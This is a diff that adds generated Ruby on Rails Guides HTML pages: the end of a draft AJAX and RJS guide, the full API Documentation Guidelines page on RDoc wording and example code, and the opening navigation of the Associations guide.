+	<li><tt>remote_form_for</tt> (and it&#8217;s alias <tt>form_remote_for</tt>) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter.</li>
+	<li><tt>form_remote_tag</tt> AJAXifies the form by serializing and sending it&#8217;s data in the background</li>
+	<li><tt>submit_to_remote</tt> and <tt>button_to_remote</tt> is more rarely used than the previous two. Rather than creating an <span class="caps">AJAX</span> form, you add a button/input</li>
+</ul>
+<p>Let&#8217;s se them in action one by one!</p>
+<h5 id="remote_form_for">2.2.1 <tt>remote_form_for</tt></h5>
+<h5 id="form_remote_tag">2.2.2 <tt>form_remote_tag</tt></h5>
+<h5 id="submit_to_remote">2.2.3 <tt>submit_to_remote</tt></h5>
+<h4 id="observing-elements">2.3 Observing Elements</h4>
+<h5 id="observe_field">2.3.1 <tt>observe_field</tt></h5>
+<h5 id="observe_form">2.3.2 <tt>observe_form</tt></h5>
+<h4 id="calling-a-function-periodically">2.4 Calling a Function Periodically</h4>
+<h5 id="periodically_call_remote">2.4.1 <tt>periodically_call_remote</tt></h5>
+<h4 id="miscellaneous-functionality">2.5 Miscellaneous Functionality</h4>
+<h5 id="remote_function">2.5.1 <tt>remote_function</tt></h5>
+<h5 id="update_page">2.5.2 <tt>update_page</tt></h5>
+<h3 id="javascript-the-rails-way-rjs">3 JavaScript the Rails way: <span class="caps">RJS</span></h3>
+<p>In the last section we sent some <span class="caps">AJAX</span> requests to the server, and inserted the <span class="caps">HTML</span> response into the page (with the <tt>:update</tt> option). However, sometimes a more complicated interaction with the page is needed, which you can either achieve with JavaScript&#8230; or with <span class="caps">RJS</span>! You are sending JavaScript instructions to the server in both cases, but while in the former case you have to write vanilla JavaScript, in the second you can code Rails, and sit back while Rails generates the JavaScript for you &#8211; so basically <span class="caps">RJS</span> is a Ruby <span class="caps">DSL</span> to write JavaScript in your Rails code.</p>
+<h4 id="javascript-without-rjs">3.1 Javascript without <span class="caps">RJS</span></h4>
+<p>First we&#8217;ll check out how to send JavaScript to the server manually. You are practically never going to need this, but it&#8217;s interesting to understand what&#8217;s going on under the hood.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def javascript_test
+  render :text =&gt; &quot;alert('Hello, world!')&quot;,
+         :content_type =&gt; &quot;text/javascript&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>(Note: if you want to test the above method, create a <tt>link_to_remote</tt> with a single parameter &#8211; <tt>:url</tt>, pointing to the <tt>javascript_test</tt> action)</p>
+<p>What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior).</p>
+<h4 id="inline-rjs">3.2 Inline <span class="caps">RJS</span></h4>
+<p>As we said, the purpose of <span class="caps">RJS</span> is to write Ruby which is then auto-magically turned into JavaScript by Rails. The above example didn&#8217;t look too Ruby-esque so let&#8217;s see how to do it the Rails way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def javascript_test
+  render :update do |page|
+    page.alert &quot;Hello from inline RJS&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The above code snippet does exactly the same as the one in the previous section &#8211; going about it much more elegantly though. You don&#8217;t need to worry about headers,write ugly JavaScript code into a string etc. When the first parameter to <tt>render</tt> is <tt>:update</tt>, Rails expects a block with a single parameter (<tt>page</tt> in our case, which is the traditional naming convention) which is an instance of the JavaScriptGenerator:&#8220;http://api.rubyonrails.org/classes/ActionView/Helpers/PrototypeHelper/JavaScriptGenerator/GeneratorMethods.html&#8221; object. As it&#8217;s name  suggests, JavaScriptGenerator is responsible for generating JavaScript from your Ruby code. You can execute multiple method calls on the <tt>page</tt> instance &#8211; it&#8217;s all turned into JavaScript code and sent to the server with the appropriate Content Type, &#8220;text/javascript&#8221;.</p>
+<h4 id="rjs-templates">3.3 <span class="caps">RJS</span> Templates</h4>
+<p>If you don&#8217;t want to clutter your controllers with view code (especially when your inline <span class="caps">RJS</span> is more than a few lines), you can move your <span class="caps">RJS</span> code to a template file. <span class="caps">RJS</span> templates should go to the <tt>/app/views/</tt> directory, just as <tt>.html.erb</tt> or any other view files of the appropriate controller, conventionally named <tt>js.rjs</tt>.</p>
+<p>To rewrite the above example, you can leave the body of the action empty, and create a <span class="caps">RJS</span> template named <tt>javascript_test.js.rjs</tt>, containing the following line:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.alert &quot;Hello from inline RJS&quot;
+</pre>
+</div>
+</notextile>
+
+<h4 id="rjs-reference">3.4 <span class="caps">RJS</span> Reference</h4>
+<p>In this section we&#8217;ll go through the methods <span class="caps">RJS</span> offers.</p>
+<h5 id="javascriptgenerator-methods">3.4.1 JavaScriptGenerator Methods</h5>
+<h6 id="dom-element-manipulation">3.4.1.1 <span class="caps">DOM</span> Element Manipulation</h6>
+<p>It is possible to manipulate multiple elements at once through the <tt>page</tt> JavaScriptGenerator instance. Let&#8217;s see this in action:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.show :div_one, :div_two
+page.hide :div_one
+page.remove :div_one, :div_two, :div_three
+page.toggle :other_div
+</pre>
+</div>
+</notextile>
+
+<p>The above methods (<tt>show</tt>, <tt>hide</tt>, <tt>remove</tt>, <tt>toggle</tt>) have the same semantics as the Prototype methods of the same name. You can pass an arbitrary number (but at least one) of <span class="caps">DOM</span> ids to these calls.</p>
+<h6 id="inserting-and-replacing-content">3.4.1.2 Inserting and Replacing Content</h6>
+<p>You can insert content into an element on the page with the <tt>insert_html</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.insert_html :top, :result, '42'
+</pre>
+</div>
+</notextile>
+
+<p>The first parameter is the position of the new content relative to the element specified by the second parameter, a <span class="caps">DOM</span> id.</p>
+<p>Position can be one of these four values:</p>
+
+		<ul>
+			<li><tt>:before</tt> Inserts the response text just before the target element.</li>
+			<li><tt>:after</tt> The response is inserted after the target element.</li>
+			<li><tt>:top</tt> Inserts the text into the target element, before it&#8217;s original content.</li>
+			<li><tt>:bottom</tt> The counterpart of <tt>:top</tt>: the response is inserted after the target element&#8217;s original content.</li>
+		</ul><p>The third parameter can either be a string, or a hash of options to be passed to ActionView::Base#render &#8211; for example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.insert_html :top, :result, :partial =&gt; &quot;the_answer&quot;
+</pre>
+</div>
+</notextile>
+
+<p>You can replace the contents (innerHTML) of an element with the <tt>replace_html</tt> method. The only difference is that since it&#8217;s clear where should the new content go, there is no need for a position parameter &#8211; so <tt>replace_html</tt> takes only two arguments,
+the <span class="caps">DOM</span> id of the element you wish to modify and a string or a hash of options to be passed to ActionView::Base#render.</p>
+<h6 id="delay">3.4.1.3 Delay</h6>
+<p>You can delay the execution of a block of code with <tt>delay</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.delay(10) { page.alert('Hey! Just waited 10 seconds') }
+</pre>
+</div>
+</notextile>
+
+<p><tt>delay</tt> takes one parameter (time to wait in seconds) and a block which will be executed after the specified time has passed &#8211; whatever else follows a <tt>page.delay</tt> line is executed immediately, the delay affects only the code in the block.</p>
+<h6 id="reloading-and-redirecting">3.4.1.4 Reloading and Redirecting</h6>
+<p>You can reload the page with the <tt>reload</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.reload
+</pre>
+</div>
+</notextile>
+
+<p>When using <span class="caps">AJAX</span>, you can&#8217;t rely on the standard <tt>redirect_to</tt> controller method &#8211; you have to use the <tt>page</tt>&#8217;s instance method, also called <tt>redirect_to</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.redirect_to some_url
+</pre>
+</div>
+</notextile>
+
+<h6 id="generating-arbitrary-javascript">3.4.1.5 Generating Arbitrary JavaScript</h6>
+<p>Sometimes even the full power of <span class="caps">RJS</span> is not enough to accomplish everything, but you still don&#8217;t want to drop to pure JavaScript. A nice golden mean is offered by the combination of <tt><<</tt>, <tt>assign</tt> and <tt>call</tt> methods:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page &lt;&lt; &quot;alert('1+1 equals 3')&quot;
+</pre>
+</div>
+</notextile>
+
+<p>So <tt><<</tt> is used to execute an arbitrary JavaScript statement, passed as string to the method. The above code is equivalent to:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+page.assign :result, 3
+  page.call   :alert, '1+1 equals ' + result
+</pre>
+</div>
+</notextile>
+
+<p><tt>assign</tt> simply assigns a value to a variable. <tt>call</tt> is similar to <tt><<</tt> with a slightly different syntax: the first parameter is the name of the function to call, followed by the list of parameters passed  to the function.</p>
+<h6 id="class-proxies">3.4.1.6 Class Proxies</h6>
+<h5 id="element-proxies">3.4.2 Element Proxies</h5>
+<h5 id="collection-proxies">3.4.3 Collection Proxies</h5>
+<h5 id="rjs-helpers">3.4.4 <span class="caps">RJS</span> Helpers</h5>
+<h3 id="i-want-my-yellow-thingy-quick-overview-of-script-aculo-us">4 I Want my Yellow Thingy: Quick overview of Script.aculo.us</h3>
+<h4 id="introduction">4.1 Introduction</h4>
+<h4 id="visual-effects">4.2 Visual Effects</h4>
+<h4 id="drag-and-drop">4.3 Drag and Drop</h4>
+<h3 id="testing-javascript">5 Testing Javascript</h3>
+<p>Javascript testing reminds me the definition of the world &#8216;classic&#8217; by Mark Twain: &#8220;A classic is something that everybody wants to have read and nobody wants to read.&#8221; It&#8217;s similar with Javascript testing: everyone would like to have it, yet it&#8217;s not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it:</p>
+<ul>
+	<li>(Fire)Watir</li>
+	<li>Selenium</li>
+	<li>Celerity/Culerity</li>
+	<li>Cucumber+Webrat</li>
+	<li>Mention stuff like screw.unit/jsSpec</li>
+</ul>
+<p>Note to self: check out the RailsConf JS testing video</p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/api_documentation_guidelines.html
@@ -0,0 +1,326 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: API Documentation Guidelines</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2><span class="caps">API</span> Documentation Guidelines</h2>
+<p>This guide documents the Ruby on Rails <span class="caps">API</span> documentation guidelines.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#rdoc">RDoc</a></li><li><a href="#wording">Wording</a></li><li><a href="#example-code">Example Code</a></li><li><a href="#filenames">Filenames</a></li><li><a href="#fonts">Fonts</a><ul><li><a href="#fixed-width-font">Fixed-width Font</a></li> <li><a href="#regular-font">Regular Font</a></li></ul></li><li><a href="#description-lists">Description Lists</a></li><li><a href="#dynamically-generated-methods">Dynamically Generated Methods</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="rdoc">1 RDoc</h3>
+<p>The Rails <span class="caps">API</span> documentation is generated with RDoc 2.5. Please consult the <a href="http://rdoc.rubyforge.org/RDoc.htmlFor">RDoc documentation</a> for help with its markup.</p>
+<h3 id="wording">2 Wording</h3>
+<p>Write simple, declarative sentences. Brevity is a plus: get to the point.</p>
+<p>Write in present tense: &#8220;Returns a hash that&#8230;&#8221;, rather than &#8220;Returned a hash that&#8230;&#8221; or &#8220;Will return a hash that&#8230;&#8221;.</p>
+<p>Start comments in upper case, follow regular punctuation rules:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Declares an attribute reader backed by an internally-named instance variable.
+def attr_internal_reader(*attrs)
+  ...
+end
+</pre>
+</div>
+</notextile>
+
+<p>Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the recommended idioms in edge, reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.</p>
+<p>Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?</p>
+<p>The proper names of Rails components have a space in between the words, like &#8220;Active Support&#8221;. <tt>ActiveRecord</tt> is a Ruby module, whereas Active Record is an <span class="caps">ORM</span>. Historically there has been lack of consistency regarding this, but we checked with David when docrails started. All Rails documentation consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that&#8217;d be fenomenal :).</p>
+<p>Spell names correctly: <span class="caps">HTML</span>, MySQL, JavaScript, ERb. Use the article &#8220;an&#8221; for &#8220;<span class="caps">SQL</span>&#8221;, as in &#8220;an <span class="caps">SQL</span> statement&#8221;. Also &#8220;an SQLite database&#8221;.</p>
+<h3 id="example-code">3 Example Code</h3>
+<p>Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.</p>
+<p>Use two spaces to indent chunks of code.โ€”that is two spaces with respect to the left margin; the examples
+themselves should use <a href="http://rails.lighthouseapp.com/projects/8994/source-style">Rails code conventions</a>.</p>
+<p>Short docs do not need an explicit &#8220;Examples&#8221; label to introduce snippets, they just follow paragraphs:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Converts a collection of elements into a formatted string by calling
+# &lt;tt&gt;to_s&lt;/tt&gt; on all elements and joining them.
+#
+#   Blog.find(:all).to_formatted_s # =&gt; &quot;First PostSecond PostThird Post&quot;
+</pre>
+</div>
+</notextile>
+
+<p>On the other hand big chunks of structured documentation may have a separate &#8220;Examples&#8221; section:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# ==== Examples
+#
+#   Person.exists?(5)
+#   Person.exists?('5')
+#   Person.exists?(:name =&gt; &quot;David&quot;)
+#   Person.exists?(['name LIKE ?', &quot;%#{query}%&quot;])
+</pre>
+</div>
+</notextile>
+
+<p>The result of expressions follow them and are introduced by &quot;# =&gt; &quot;, vertically aligned:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# For checking if a fixnum is even or odd.
+#
+#   1.even? # =&gt; false
+#   1.odd?  # =&gt; true
+#   2.even? # =&gt; true
+#   2.odd?  # =&gt; false
+</pre>
+</div>
+</notextile>
+
+<p>If a line is too long, the comment may be placed on the next line:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+#   label(:post, :title)
+  #   # =&gt; &lt;label for=&quot;post_title&quot;&gt;Title&lt;/label&gt;
+  #
+  #   label(:post, :title, &quot;A short title&quot;)
+  #   # =&gt; &lt;label for=&quot;post_title&quot;&gt;A short title&lt;/label&gt;
+  #
+  #   label(:post, :title, &quot;A short title&quot;, :class =&gt; &quot;title_label&quot;)
+  #   # =&gt; &lt;label for=&quot;post_title&quot; class=&quot;title_label&quot;&gt;A short title&lt;/label&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Avoid using any printing methods like <tt>puts</tt> or <tt>p</tt> for that purpose.</p>
+<p>On the other hand, regular comments do not use an arrow:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+#   polymorphic_url(record)  # same as comment_url(record)
+</pre>
+</div>
+</notextile>
+
+<h3 id="filenames">4 Filenames</h3>
+<p>As a rule of thumb use filenames relative to the application root:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+config/routes.rb            # YES
+routes.rb                   # NO
+RAILS_ROOT/config/routes.rb # NO
+</pre>
+</div>
+</notextile>
+
+<h3 id="fonts">5 Fonts</h3>
+<h4 id="fixed-width-font">5.1 Fixed-width Font</h4>
+<p>Use fixed-width fonts for:</p>
+<ul>
+	<li>constants, in particular class and module names</li>
+	<li>method names</li>
+	<li>literals like <tt>nil</tt>, <tt>false</tt>, <tt>true</tt>, <tt>self</tt></li>
+	<li>symbols</li>
+	<li>method parameters</li>
+	<li>file names</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Copies the instance variables of +object+ into +self+.
+#
+# Instance variable names in the +exclude+ array are ignored. If +object+
+# responds to &lt;tt&gt;protected_instance_variables&lt;/tt&gt; the ones returned are
+# also ignored. For example, Rails controllers implement that method.
+# ...
+def copy_instance_variables_from(object, exclude = [])
+  ...
+end
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Using a pair of <tt>&#43;...&#43;</tt> for fixed-width font only works with <strong>words</strong>; that is: anything matching <tt>\A\w&#43;\z</tt>. For anything else  use <tt>&lt;tt&gt;...&lt;/tt&gt;</tt>, notably symbols, setters, inline snippets, etc:</p></div>
+<h4 id="regular-font">5.2 Regular Font</h4>
+<p>When &#8220;true&#8221; and &#8220;false&#8221; are English words rather than Ruby keywords use a regular font:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# If &lt;tt&gt;reload_plugins?&lt;/tt&gt; is false, add this to your plugin's &lt;tt&gt;init.rb&lt;/tt&gt;
+# to make it reloadable:
+#
+#   Dependencies.load_once_paths.delete lib_path
+</pre>
+</div>
+</notextile>
+
+<h3 id="description-lists">6 Description Lists</h3>
+<p>In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# * &lt;tt&gt;:allow_nil&lt;/tt&gt; - Skip validation if attribute is +nil+.
+</pre>
+</div>
+</notextile>
+
+<p>The description starts in upper case and ends with a full stopโ€”it&#8217;s standard English.</p>
+<h3 id="dynamically-generated-methods">7 Dynamically Generated Methods</h3>
+<p>Methods created with <tt>(module|class)_eval(STRING)</tt> have a comment by their side with an instance of the generated code. That comment is 2 spaces apart from the template:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+for severity in Severity.constants
+  class_eval &lt;&lt;-EOT, __FILE__, __LINE__
+    def #{severity.downcase}(message = nil, progname = nil, &amp;block)  # def debug(message = nil, progname = nil, &amp;block)
+      add(#{severity}, message, progname, &amp;block)                    #   add(DEBUG, message, progname, &amp;block)
+    end                                                              # end
+                                                                     #
+    def #{severity.downcase}?                                        # def debug?
+      #{severity} &gt;= @level                                          #   DEBUG &gt;= @level
+    end                                                              # end
+  EOT
+end
+</pre>
+</div>
+</notextile>
+
+<p>If the resulting lines are too wide, say 200 columns or more, we put the comment above the call:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# def self.find_by_login_and_activated(*args)
+#   options = args.extract_options!
+#   ...
+# end
+self.class_eval %{
+  def self.#{method_id}(*args)
+    options = args.extract_options!
+    ...
+  end
+}
+</pre>
+</div>
+</notextile>
+
+<h3 id="changelog">8 Changelog</h3>
+<ul>
+	<li>July 17, 2010: ported from the docrails wiki and revised by <a href="credits.html#fxn">Xavier Noria</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/association_basics.html
@@ -0,0 +1,2049 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: A Guide to Active Record Associations</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
